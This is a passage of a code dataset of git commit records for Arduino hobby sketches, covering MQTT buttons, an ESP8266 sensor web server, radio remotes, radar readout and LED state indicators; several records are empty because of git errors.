initialization\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/writer_test\/writer_test.ino","new_file":"unit tests\/writer_test\/writer_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/writer_test\/writer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"be641123efeb5be18ca06bcd965a128822d51862","subject":"adds cc3000 button example","message":"adds cc3000 button example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-cc3000\/button\/button.ino","new_file":"arduino-cc3000\/button\/button.ino","new_contents":"#include <Adafruit_CC3000.h>\n#include <PubSubClient.h>\n#include <SPI.h>\n\n#define ADAFRUIT_CC3000_IRQ 3\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n#define BUTTON 2\n\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS,\n ADAFRUIT_CC3000_IRQ,\n ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER);\n\nAdafruit_CC3000_Client cc3000_client = Adafruit_CC3000_Client();\nPubSubClient client(\"io.adafruit.com\", 1883, mqtt_callback, cc3000_client);\n\n\/\/ replace with your WiFi connection info\n#define WLAN_SSID \"test\"\n#define WLAN_PASS \"secretpass\"\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n\/\/ replace with your Adafruit IO key\n#define AIO_KEY \"xxxxxxxxx\"\n#define MQTT_TOPIC \"api\/feeds\/%s\/data\/send.json\"\n\n\/\/ button state\nint current = 0;\nint last = -1;\n\nvoid setup() {\n\n \/\/ set button pin as an input\n pinMode(BUTTON, INPUT);\n\n \/\/ wait until serial is available\n while (!Serial);\n\n \/\/ Serial init\n Serial.begin(115200);\n Serial.println(F(\"Initializing....(May take a few seconds)\"));\n\n \/\/ cc3300 init\n if (! cc3000.begin()) {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n\n Serial.print(F(\"\\nAttempting to connect to \")); \n Serial.println(WLAN_SSID);\n\n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n\n Serial.println(F(\"Connected!\"));\n\n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP()) {\n delay(100);\n }\n\n \/\/ connect to AIO\n mqtt_connect();\n\n}\n\nvoid loop() {\n\n \/\/ required for MQTT connection\n client.loop();\n\n \/\/ reconnect if we lost connection to AIO\n if(! client.connected()) {\n Serial.print(F(\"AIO connection dropped. Attempting reconnect\"));\n mqtt_connect();\n }\n\n \/\/ grab the current state of the button\n current = digitalRead(BUTTON);\n\n \/\/ return if the value hasn't changed\n if(current == last)\n return;\n\n \/\/ send the proper value to AIO depending on button state\n if(current == HIGH)\n sendData(\"button\", \"1\");\n else\n sendData(\"button\", \"0\");\n\n \/\/ save the button state\n last = current;\n\n}\n\nbool sendData(char *feed, char *value) {\n\n \/\/ allows for ~60 char feed name\n char topic[85];\n\n \/\/ build mqtt topic\n sprintf(topic, MQTT_TOPIC, feed);\n\n \/\/ push data\n client.publish(topic, value);\n\n Serial.print(F(\"Sent: \"));\n Serial.println(topic);\n Serial.println(value);\n Serial.println(F(\"\"));\n\n}\n\nvoid mqtt_connect() {\n\n char client_name[30];\n\n \/\/ generate new client name\n sprintf(client_name, \"adafruit-cc3000-%ul\", micros());\n\n \/\/ attempt connection\n if (client.connect(client_name, AIO_KEY, NULL)) {\n Serial.println(F(\"Connected to AIO\"));\n } else {\n Serial.println(F(\"AIO connect failed\"));\n }\n\n}\n\nvoid mqtt_callback (char* topic, byte* payload, unsigned int length) {\n\n \/\/ dump topic and payload from subscriptions\n Serial.print(F(\"Receieved: \"));\n Serial.println(topic);\n Serial.write(payload, length);\n Serial.println(topic);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-cc3000\/button\/button.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1d01e039e60ef2181ceb85794a0421d792f2bf1f","subject":"How to teach young people to program? How I pretend to program? # kidsSerie-06","message":"How to teach young people to program? How I pretend to program? # kidsSerie-06\n\nHow to teach young people to program? How I pretend to program? # kidsSerie-06","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_06_kidSerie_sketch_01_04.Adafruit_IO_FakeToReal_Feeds.ino","new_file":"_06_kidSerie_sketch_01_04.Adafruit_IO_FakeToReal_Feeds.ino","new_contents":"\/*\n Project name:\n 06 #kidSerie - Go code? Explainning My Approach As Hobbyist!!!\n (code by Mick Barela from Adafruit Industries)\n Flavour I - IV\n Hex File: _06_kidSerie_sketch_01_04.Adafruit_IO_FakeToReal_Feeds.ino\n Revision History:\n 20161029:\n - from github adafruit\/Adafruit_MQTT_Library\n https:\/\/github.com\/adafruit\/Adafruit_MQTT_Library\/blob\/master\/examples\/mqtt_esp8266\/mqtt_esp8266.ino\n https:\/\/learn.adafruit.com\/mqtt-adafruit-io-and-you\/intro-to-adafruit-mqtt\n Description:\n How to teach young people to program? I often do not write codes from scratch. I accomplish tasks taking\n pieces of code from excellent programmers and I'll assemble the puzzle pieces up the road to success.\n This is my approach how I pretend to be a programmer...This journey will help us to understand how to send\n temperature and humidity data to the Adafruit-IO Broker through the MQTT protocol using ESP8266 module.\n It's quite a task, right?\n How-to-use-it: Go to this link and click the history button to understand step-by-step. Thank you so much!! \n https:\/\/github.com\/giljr\/kidSeries\/blob\/master\/_06_kidSerie_sketch_01_04.Adafruit_IO_FakeToReal_Feeds.ino\n \n \n MCU: Arduino 1.6.12 - @16MHz http:\/\/www.arduino.cc\/\n ESP8266: ESP-01 https:\/\/goo.gl\/E0Eq4l\n DHT11: PRODUCT ID: 386 https:\/\/www.adafruit.com\/product\/386\n Connections:\n See Official youtube channel vids: https:\/\/youtu.be\/cwYix_Oyui4\n Based on: Mick Barela for Adafruit Industries - see below!\n This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Software Foundation\n*\/\n\/* DHTServer - ESP8266 Webserver with a DHT sensor as an input\n Based on ESP8266Webserver, DHTexample, and BlinkWithoutDelay (thank you)\n Version 1.0 5\/3\/2014 Version 1.0 Mike Barela \/ Tony DiCola from Adafruit.\n*\/\n\/******************************* Esp8266**************************************\/\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n\/******************************* DHT Config **********************************\/\n#include <DHT.h>\n#define DHTTYPE DHT11\n#define DHTPIN 2\n\n\/************************* WiFi Access Point *********************************\/\n\nconst char* ssid = \"YourRouterSSID\";\nconst char* password = \"YourRouterPassword\";\n\nESP8266WebServer server(80);\n\n\/*************************** DHT Init **************************************\/\n\/\/ Initialize DHT sensor\n\/\/ NOTE: For working with a faster than ATmega328p 16 MHz Arduino chip, like an ESP8266,\n\/\/ you need to increase the threshold for cycle counts considered a 1 or 0.\n\/\/ You can do this by passing a 3rd parameter for this threshold. It's a bit\n\/\/ of fiddling to find the right value, but in general the faster the CPU the\n\/\/ higher the value. The default for a 16mhz AVR is a value of 6. For an\n\/\/ Arduino Due that runs at 84mhz a value of 30 works.\n\/\/ This is for the ESP8266 processor on ESP-01\nDHT dht(DHTPIN, DHTTYPE, 15); \/\/ 15 works fine for ESP8266\n\/*************************** DHT Data **************************************\/\n\/\/float humidity, temp_f; \/\/ Values read from sensor F\u00ba\nfloat humidity, temp_c; \/\/ Values read from sensor as Celsius\nString webString = \"\"; \/\/ String to display\n\/*************************** DHT Timing ************************************\/\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\nunsigned long previousMillis = 0; \/\/ will store last temp was read\nconst long interval = 2000; \/\/ interval at which to read sensor\n\nvoid handle_root() {\n server.send(200, \"text\/plain\", \"Hello from the weather esp8266, read from \/temp or \/humidity\");\n delay(100);\n}\n\n\/****************************** Setup ***************************************\/\nvoid setup(void)\n{\n \/\/ You can open the Arduino IDE Serial Monitor window to see what the code is doing\n Serial.begin(115200); \/\/ Serial connection from ESP-01 via 3.3v console cable\n dht.begin(); \/\/ initialize temperature sensor\n\n \/\/ Connect to WiFi network\n WiFi.begin(ssid, password);\n Serial.print(\"\\n\\r \\n\\rWorking to connect\");\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"DHT Weather Reading Server\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n server.on(\"\/\", handle_root);\n\n server.on(\"\/temp\", []() { \/\/ if you add this subdirectory to your webserver call, you get text below :)\n gettemperature(); \/\/ read sensor\n \/\/webString=\"Temperature: \"+String((int)temp_f)+\" F\"; \/\/ Arduino has a hard time with float to string\n webString = \"Temperature: \" + String((int)temp_c) + \" C\"; \/\/ Arduino has a hard time with float to string\n server.send(200, \"text\/plain\", webString); \/\/ send to someones browser when asked\n });\n\n server.on(\"\/humidity\", []() { \/\/ if you add this subdirectory to your webserver call, you get text below :)\n gettemperature(); \/\/ read sensor\n webString = \"Humidity: \" + String((int)humidity) + \"%\";\n server.send(200, \"text\/plain\", webString); \/\/ send to someones browser when asked\n });\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\n\/****************************** Loop ***************************************\/\nvoid loop(void)\n{\n server.handleClient();\n}\n\n\/****************************** Get Data From DHTxx ************************\/\nvoid gettemperature() {\n \/\/ Wait at least 2 seconds seconds between measurements.\n \/\/ if the difference between the current time and last time you read\n \/\/ the sensor is bigger than the interval you set, read the sensor\n \/\/ Works better than delay for things happening elsewhere also\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= interval) {\n \/\/ save the last time you read the sensor\n previousMillis = currentMillis;\n\n \/\/ Reading temperature for humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (it's a very slow sensor)\n humidity = dht.readHumidity(); \/\/ Read humidity (percent)\n \/\/temp_f = dht.readTemperature(true); \/\/ Read temperature as Fahrenheit\n temp_c = dht.readTemperature(); \/\/ Read temperature as Celsius\n \/\/ Check if any reads failed and exit early (to try again).\n \/\/if (isnan(humidity) || isnan(temp_f)) {\n if (isnan(humidity) || isnan(temp_c)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n }\n}\nContact GitHub API Training Shop Blog About\n\u00a9 2016 GitHub, Inc. Terms Privacy Security Status Help\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_06_kidSerie_sketch_01_04.Adafruit_IO_FakeToReal_Feeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c26dcf2f4de60ea4999332ba471754fbaa94995f","subject":"Serial communication arduino esp (esp side)","message":"Serial communication arduino esp (esp side)\n","repos":"HesselTjeerdsma\/Cyber-Physical-Pacman-Game,HesselTjeerdsma\/Cyber-Physical-Pacman-Game,HesselTjeerdsma\/Cyber-Physical-Pacman-Game,HesselTjeerdsma\/Cyber-Physical-Pacman-Game,HesselTjeerdsma\/Cyber-Physical-Pacman-Game,HesselTjeerdsma\/Cyber-Physical-Pacman-Game","old_file":"Serial_doorsturen\/Serial_doorsturen.ino","new_file":"Serial_doorsturen\/Serial_doorsturen.ino","new_contents":"HardwareSerial Serial1(2);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\nSerial.begin(115200);\nSerial1.begin(115200);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\nif(Serial1.available())\n{\n Serial.write(Serial1.read());\n}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Serial_doorsturen\/Serial_doorsturen.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"96cc7fc14dfe426b43f6a6fa373647b224b9bbc7","subject":"Added more code for node testing","message":"Added more code for node testing\n","repos":"snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation,snowdenator\/EarlHomeAutomation","old_file":"GenV\/Firmware\/PingTest\/PingTest.ino","new_file":"GenV\/Firmware\/PingTest\/PingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/snowdenator\/EarlHomeAutomation.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"00f9a3a7cccae0a4e78273f1c7c32b76317730c8","subject":"Create NRF24L01-Remote.ino","message":"Create NRF24L01-Remote.ino","repos":"Arudinne\/RGB-Wrench-Mask","old_file":"NRF24L01\/Remote\/NRF24L01-Remote.ino","new_file":"NRF24L01\/Remote\/NRF24L01-Remote.ino","new_contents":"\/* Wrench Mask Remote - NRF24L01 Version\n * \n * by Brandon C. Allen\n * \n * Hardware Used:\n * Adafruit Feather M0 Proto\n * https:\/\/www.adafruit.com\/product\/2772\n * Eight Adafruit DotStar High Density 8x8 Grid - 64 RGB LED Pixel Matrices\n * https:\/\/www.adafruit.com\/product\/3444\n * NRF24L01 2.4GHz Transciever\n * https:\/\/www.amazon.com\/gp\/product\/B016PP62QO\n * 5mm NeoPixel\n * https:\/\/www.adafruit.com\/product\/1938\n * 74AHCT125 - Quad Level-Shifter\n * https:\/\/www.adafruit.com\/product\/1787\n * \n * Based on the following Sketches:\n * --------------------------------\n * \n * Joe Young Custom Keypad - MC17\n * https:\/\/github.com\/joeyoung\/arduino_keypads\/tree\/master\/Keypad_MC17\n * \n * Arduino Wireless Communication Tutorial\n * Example 1 - Receiver Code\n * by Dejan Nedelkovski, www.HowToMechatronics.com\n * \n*\/\n\n#include <SPI.h>\n#include \"RF24.h\"\n#include <Keypad_MC17.h>\n#include <Keypad.h> \/\/ GDY120705\n#include <Wire.h>\n#include <Adafruit_NeoPixel.h>\n\n#define PIN A0\n#define I2CADDR 0x20\n\nconst byte ROWS = 7; \/\/four rows\nconst byte COLS = 5; \/\/five columns\n\/\/define the cymbols on the buttons of the keypads\nchar keys[ROWS][COLS] = {\n {'0','0','0','C','3'},\n {'0','J','9','H','L'},\n {'B','K','D','4','7'},\n {'G','W','8','A','O'},\n {'R','N','5','0','6'},\n {'0','M','I','F','2'},\n {'0','0','0','E','1'}\n};\nbyte rowPins[ROWS] = {0, 1, 2, 3, 4, 5, 6}; \/\/connect to the row pinouts of the keypad\nbyte colPins[COLS] = {12, 11, 10, 9, 8}; \/\/connect to the column pinouts of the keypad\n\n\/*\n1: X X - Face001\n2: > < - Face002\n3: ^ ^ - Face003\n4: @ @ - Face004\n5: \/ \\ - Face005-\n6: ? ? - Face006\n7: O o - Face007\n8: \\ \/ - Face008\n9: Z Z - Face009\n0: # # - Face010\nA: = = - Face011\nC: ~ ^ - Face012\nD: 9 9 - Face013\nE: ! ! - Face014\nF: * * - Face015\nH: ` ` - Face016\nI: ; ; - Face017\nJ: .) .) - Face018\nK: (. (. - Face019\nL: o O - Face020\nM: . . - Face021\nN: \u2310 \u2310 - Face022\nO: <3 <3 - Face023\n*\/\n\n\n\n\/\/initialize an instance of class NewKeypad\nKeypad_MC17 customKeypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS, I2CADDR);\n\n \/****************** User Config ***************************\/\n\/* Hardware configuration: Set up nRF24L01 radio on SPI bus plus pins 11 & 10 *\/\nRF24 radio(11, 10);\n\/**********************************************************\/\nbyte address[6] = \"01337\";\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(1, PIN, NEO_GRB + NEO_KHZ800);\n\nvoid setup(){\n char StartCheck1 = 'W';\n char StartCheck2 = '1';\n \n Wire.begin();\n customKeypad.begin( ); \/\/ GDY120705\n Serial.begin(9600);\n radio.begin();\n radio.openWritingPipe(address);\n radio.setPALevel(RF24_PA_MAX);\n radio.stopListening();\n radio.write(&StartCheck1, sizeof(StartCheck1));\n radio.write(&StartCheck2, sizeof(StartCheck2));\n strip.begin();\n strip.setPixelColor(0, 10, 10, 10);\n strip.show();\n}\n\n \nvoid loop(){\n char key = customKeypad.getKey();\n \n if (key != NO_KEY){\n Serial.println(key);\n radio.write(&key, sizeof(key));\n if (key == 'R'){\n strip.setPixelColor(0, 0, 10, 0);\n strip.show();\n }\n else if (key == 'G'){\n strip.setPixelColor(0, 10, 0, 0);\n strip.show();\n }\n else if (key == 'B'){\n strip.setPixelColor(0, 0, 0, 10);\n strip.show();\n }\n else if (key == 'W'){\n strip.setPixelColor(0, 10, 10, 10);\n strip.show();\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NRF24L01\/Remote\/NRF24L01-Remote.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b88e18fbc88d6e844592a8116f218f8cbbc6867","subject":"duplicada removida","message":"duplicada removida\n","repos":"italogfernandes\/minicurso-arduino-avancado,italogfernandes\/minicurso-arduino-avancado,italogfernandes\/minicurso-arduino-avancado","old_file":"Sketchs arduino\/Bluetooth\/Bluetooth.ino","new_file":"Sketchs arduino\/Bluetooth\/Bluetooth.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketchs' did not match any file(s) known to git\nerror: pathspec 'arduino\/Bluetooth\/Bluetooth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d660ad5ad480dcd37c9f2dd23f9326b7a4d7d55f","subject":"Program selection and payment","message":"Program selection and payment\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/LaundryMachine.ino","new_file":"LaundryMachine\/LaundryMachine.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e30ac5c01c21341ab975d62649c0ec4860a4f39b","subject":"Started working on getting raw data","message":"Started working on getting raw data\n","repos":"oyvdahl\/xethru-arduino-radar","old_file":"examples\/read-raw-data\/read-raw-data.ino","new_file":"examples\/read-raw-data\/read-raw-data.ino","new_contents":"\/\/ Written by \u00d8yvind Nydal Dahl\n\/\/ www.build-electronic-circuits.com\n\/\/ July 2016\n\n\n\n#include <XeThruRadar.h>\n#include <SPI.h>\n\nXeThruRadar radar;\n\n\nvoid setup (void)\n{\n \/\/ Setup radar\n radar.init();\n\n \/\/ Reset module\n radar.reset_module();\n\n \/\/ Load module profile - Sleep (provides 2m radar frame length)\n radar.load_sleep_app();\n\n \/\/ Turn on baseband (raw data) output.\n radar.enable_raw_data();\n \n \/\/ Set detection zone (0.4 - 2.0 gives radar frame 0.3 - 2.3)\n \n \/\/ Set high sensitivity. \n \n \/\/ Start module\n radar.execute_app();\n\n\n \/\/ Setup SPI communication\n digitalWrite(SS, HIGH); \/\/ ensure SS stays high for now\n SPI.begin ();\n\n \/\/ Slow down the master a bit\n SPI.setClockDivider(SPI_CLOCK_DIV8);\n \n}\n\n\n\nvoid loop (void)\n{\n float radar_num = (float)radar.get_raw();\n \n \/\/If it returns -99.0, that means it did not receive a proper measurement\n \/\/if (movement == -99.0) {\n \/\/ return;\n \/\/}\n \n spi_send_data(radar_num);\n delay (1000); \/\/ 1 seconds delay \n} \/\/ end of loop\n\n\n\nvoid spi_send_data(float numero) \n{\n char c;\n char charVal[7];\n\n dtostrf(numero, 4, 2, charVal); \/\/4 is mininum width, 4 is precision; float value is copied onto buff\n \n \/\/ enable Slave Select\n digitalWrite(SS, LOW); \/\/ SS is pin 10\n \n \/\/ send test string\n \/\/for (const char * p = \"Hello, world!\\n\" ; c = *p; p++)\n \/\/ SPI.transfer (c);\n for (int i=0; i<7; i++)\n SPI.transfer (charVal[i]);\n SPI.transfer ('\\n');\n \/\/SPI.transfer (c);\n \n \/\/ disable Slave Select\n digitalWrite(SS, HIGH);\n\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/read-raw-data\/read-raw-data.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"49b145d73edb7fd5ea161590957eb8cb0eca203b","subject":"Create state_indicator.ino","message":"Create state_indicator.ino","repos":"marmilicious\/FastLED_examples","old_file":"state_indicator.ino","new_file":"state_indicator.ino","new_contents":"\/\/***************************************************************\n\/*\nMachine State Indicator example\nMarc Miller, Aug 2017\n\nCreating this sketch was inspired by this post:\nhttps:\/\/plus.google.com\/u\/0\/+MichaelAndresen\/posts\/1xVDuFPsxUc\n\nDifferent colors or color patterns can visually indicate to an\noperator what state(s) a machine is in. Machine states might\ninclude: Warming up, Ready, Running, Paused, Waiting, Error, etc.\n\nThis example reads two signals coming from the machine to be\nmonitored and then updates an addressable RGB LED display. The\nsignal from the machine could be a digital logic signal, a PWM\nsignal, or an analog signal. This example is setup to read a\nlogic signal (which will change the display of the first pixel\nonly), and also read an analog signal (which will change the\ndisplay of the reminder of the pixels).\n\n\nThe FastLED library is used for ease of programming the addressable\nLEDs. Here are links to the FastLED wiki, code, and G+ community:\n https:\/\/github.com\/FastLED\/FastLED\/wiki\/Frequently-Asked-Questions\n https:\/\/github.com\/FastLED\/FastLED\n http:\/\/fastled.io\/+\n \n**Note of caution** - Make sure the voltage level received by\nthe Arduino is NOT a negative DC voltage, OR above the max input\nvoltage the pin can handle, usually 3.3 or 5 volts depending on\nthe microcontroller, otherwise the pin might be destroyed.\n\nVideo of this code running:\nhttps:\/\/youtu.be\/aNB4iK3_Y_s\n\n*\/\n\/\/***************************************************************\n\n#include \"FastLED.h\" \/\/library for controlling pixels\n#define LED_TYPE WS2812B \/\/pixel type\n#define DATA_PIN 11 \/\/pin on Arduino for sending data to LEDs\n#define COLOR_ORDER GRB \/\/color order can vary depending on LED manufacturer\n#define NUM_LEDS 12 \/\/number of pixels\nCRGB leds[NUM_LEDS];\n\n#define INPUT1 4 \/\/input pin for logic signal from machine\n#define INPUT2 A0 \/\/input pin for analog (variable) signal from machine\n\nboolean VALUE1; \/\/the current value of INPUT1\nuint16_t VALUE2; \/\/the current value of INPUT2\nuint8_t STATE; \/\/which switch case to display\n\n\n\/\/A testing mode allows colors or patterns to be tested without actually\n\/\/being hooked up and receiving signals from an external source.\n\/\/While in testing mode random values will be picked and used instead of\n\/\/values read from the inputs. Random times are also picked.\nboolean TESTING_MODE = 0; \/\/ [0 = read real inputs, 1 = simulate inputs]\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(1500); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(64); \/\/LED master brightness [0-255]\n FastLED.clear();\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/ Function to read all inputs and set appropriate values\nvoid read_inputs() { \n\n if (TESTING_MODE == 1) {\n EVERY_N_MILLISECONDS_I(t1,2) {\n t1.setPeriod(random16(3500,6000));\n VALUE1 = !VALUE1;\n }\n EVERY_N_MILLISECONDS_I(t2,2) {\n t2.setPeriod(random16(4500,8000));\n VALUE2 = random16(0,1024);\n }\n \n } else { \/\/not in testing mode\n \/\/read the digital input\n VALUE1 = digitalRead(INPUT1);\n \n \/\/read the analog input\n VALUE2 = analogRead(INPUT2);\n }\n\n\n \/\/set switch case STATE variable based on VALUE2\n if (VALUE2 <= 200) { STATE = 1; }\n if (VALUE2 > 200 && VALUE2 <= 400) { STATE = 2; }\n if (VALUE2 > 400 && VALUE2 <= 600) { STATE = 3; }\n if (VALUE2 > 600 && VALUE2 <= 800) { STATE = 4; }\n if (VALUE2 > 800 && VALUE2 <= 1000) { STATE = 5; }\n if (VALUE2 > 1000) { STATE = 0; }\n \/\/ For this example if VALUE2 is above 1000 it will cause the \"default\" case to run.\n \n \/\/ Uncomment these print statements to monitor values on the serial monitor.\n \/\/Serial.print(\" VALUE1: \"); Serial.print(VALUE1);\n \/\/Serial.print(\"\\t\\tVALUE2: \"); Serial.print(VALUE2);\n \/\/Serial.print(\" --> STATE: \"); Serial.println(STATE);\n\n}\/\/end of read_inputs\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n \/\/Periodically run the function to read all inputs\n EVERY_N_MILLISECONDS_I(timingObjC, 2){\n timingObjC.setPeriod(500); \/\/how often to check [milliseconds]\n read_inputs();\n }\n\n\n \/\/set the display of pixel 0\n \/\/Note: this example has pixel 0 hard coded in the two functions being called below.\n if (VALUE1 == 1) {\n red_blink();\n } else {\n green_solid();\n }\n\n\n \/\/set the display for the rest of the pixels\n switch (STATE) {\n case 1: { yellow_solid(); }\n break;\n case 2: { orange_spiral(); }\n break;\n case 3: { purple_marquee(); }\n break;\n case 4: { blue_fadeout(); }\n break;\n case 5: { aqua_double_flash(); }\n break;\n\n \/\/ If nothing matches a case # above then run this optional default.\n default: { white_pulse(); }\n break;\n }\/\/end of switch cases\n\n FastLED.show(); \/\/Display the pixel data\n\n}\/\/end of main loop\n\n\n\n\/\/---------------------------------------------------------------\n\/\/Example functions to make various color\/patterns\n\/\/---------------------------------------------------------------\n\/\/Green solid\n\/\/Note: In this example it's hard coded to pixel 0\nvoid green_solid(){\n leds[0] = CRGB::Green;\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/Red blinking\n\/\/Note: In this example it's hard coded to pixel 0\nvoid red_blink() {\n static boolean blinking;\n EVERY_N_MILLISECONDS_I(timingObjB,2) {\n blinking = !blinking;\n }\n if (blinking == 1) {\n leds[0] = CRGB::Red;\n timingObjB.setPeriod(500); \/\/value sets blink On length [milliseconds]\n } else {\n leds[0] = CRGB::Black;\n timingObjB.setPeriod(250); \/\/value sets blink Off length [milliseconds]\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/Yellow solid\nvoid yellow_solid() {\n for (uint8_t i=1; i<NUM_LEDS; i++) {\n leds[i] = CHSV(66,245,220);\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/Blue, then fade out\nvoid blue_fadeout() {\n EVERY_N_MILLISECONDS_I(timingObjF, 2) {\n timingObjF.setPeriod(3000); \/\/how long before re-setting brightness [milliseconds]\n for (uint8_t i=1; i<NUM_LEDS; i++) {\n leds[i] = CHSV(160,200,200);\n }\n }\n EVERY_N_MILLISECONDS(45) { \/\/value is how often to fade\n for (uint8_t i=1; i<NUM_LEDS; i++) {\n leds[i].fadeToBlackBy(8); \/\/value is amount to fade by\n }\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/Purple marquee effect\nvoid purple_marquee() {\n static boolean toggle;\n EVERY_N_MILLISECONDS_I(timingObjM, 2) {\n timingObjM.setPeriod(375); \/\/value sets toggle rate [milliseconds]\n toggle = !toggle;\n }\n \/\/fill_solid(leds+1, NUM_LEDS-1, CHSV(185,220,170));\n fill_solid(leds+1, NUM_LEDS-1, CRGB::Black);\n for (uint8_t i=1+toggle; i<NUM_LEDS; i=i+2) {\n leds[i] = CHSV(195,255,220);\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/Orange spiral effect\nvoid orange_spiral() {\n static uint8_t pos = 1;\n EVERY_N_MILLISECONDS(40) { \/\/value sets movment speed\n for (uint8_t i=1; i<NUM_LEDS; i++) {\n leds[i].fadeToBlackBy(25); \/\/value is amount to fade by\n }\n leds[pos] = CHSV(28,255,240);\n pos = pos + 1;\n if (pos == NUM_LEDS) { pos = 1; } \/\/reset\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/White pulsing effect\nvoid white_pulse() {\n EVERY_N_MILLISECONDS(20) { \/\/value sets pulse speed\n static uint16_t dV;\n uint8_t val = (sin8(dV\/8)\/2)+127;\n for (uint8_t i=1; i<NUM_LEDS; i++) {\n leds[i] = CHSV(0,0,val);\n dV++;\n if (dV == (256*8)) { dV = 0; } \/\/reset\n }\n }\n}\n\n\n\/\/---------------------------------------------------------------\n\/\/Aqua double flash\nvoid aqua_double_flash() {\n static boolean blinkGate1 = LOW;\n static boolean blinkGate2 = HIGH;\n static boolean blinking;\n static uint8_t blinkCount = 0;\n EVERY_N_MILLISECONDS_I(timingObjDf, 2){\n blinkGate2 = blinkCount;\n blinkGate1 = !blinkGate1;\n if (blinkGate1 * blinkGate2 == HIGH) {\n for (uint8_t i=1; i<NUM_LEDS; i++) {\n leds[i] = CHSV(130,255,150);\n }\n } else {\n for (uint8_t i=1; i<NUM_LEDS; i++) {\n leds[i] = CRGB::Black;\n }\n }\n if (blinkCount == 2 || blinkCount == 3) {\n timingObjDf.setPeriod( 50 );\n } else if (blinkCount == 4) {\n timingObjDf.setPeriod( 405 );\n } else {\n timingObjDf.setPeriod( 167 );\n }\n blinkCount++;\n if (blinkCount == 6) { blinkCount = 0; } \/\/ reset count\n }\n}\n\n\n\/\/---------------------------------------------------------------\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'state_indicator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b3b4170e6cb1b7f360209e6af0267e368844e5be","subject":"Adding Button_LED_Serial example","message":"Adding Button_LED_Serial example\n","repos":"GeoffSpielman\/Hackathin_Examples","old_file":"Button_LED_Serial\/Button_LED_Serial.ino","new_file":"Button_LED_Serial\/Button_LED_Serial.ino","new_contents":"const int BTN = 2; \/\/ pushbutton pin\nconst int ARDUINO_LED = 13; \/\/ the LED pin built into the arduino\nconst int BREADBOARD_LED = 